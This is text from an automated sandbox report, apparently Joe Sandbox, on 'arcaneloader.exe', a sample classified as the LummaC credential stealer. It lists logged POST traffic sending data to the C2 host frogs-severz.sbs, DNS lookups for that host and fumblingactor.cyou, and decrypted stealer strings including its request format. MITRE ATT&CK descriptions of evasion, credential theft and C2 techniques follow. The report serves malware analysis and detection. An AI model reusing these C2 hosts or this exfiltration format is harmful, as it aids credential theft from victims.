Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=56D4XXNYZO2MRVK5P5FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12872Host: frogs-severz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=XXQ7AGRVIGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15064Host: frogs-severz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6AAEYK46R6IOQ9S7O3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19970Host: frogs-severz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=PD2T8EIINYSKEORWQUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1221Host: frogs-severz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=YM5UPZ14User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 552578Host: frogs-severz.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 89Host: frogs-severz.sbs

Source: global traffic	DNS traffic detected: DNS query: fumblingactor.cyou
Source: global traffic	DNS traffic detected: DNS query: frogs-severz.sbs

Source: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: fumblingactor.cyou
Source: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000003.00000002.2347732117.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report arcaneloader.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

Windows Analysis Report
arcaneloader.exe

Function 00DDB18D Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 00DC9DD3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00DBBEB0 Relevance: 9.2, APIs: 6, Instructions: 173
fileCOMMON

Function 00DC6CE6 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Function 00DC6FEF Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 00DCA732 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 00DC6E00 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Function 00DCB0CB Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Function 00DCA00A Relevance: 2.6, APIs: 2, Instructions: 71
COMMONLIBRARYCODE

Function 00DC3B60 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Function 00DC9E9E Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Function 00DBCD90 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Function 00DCB807 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Function 00DCBC45 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre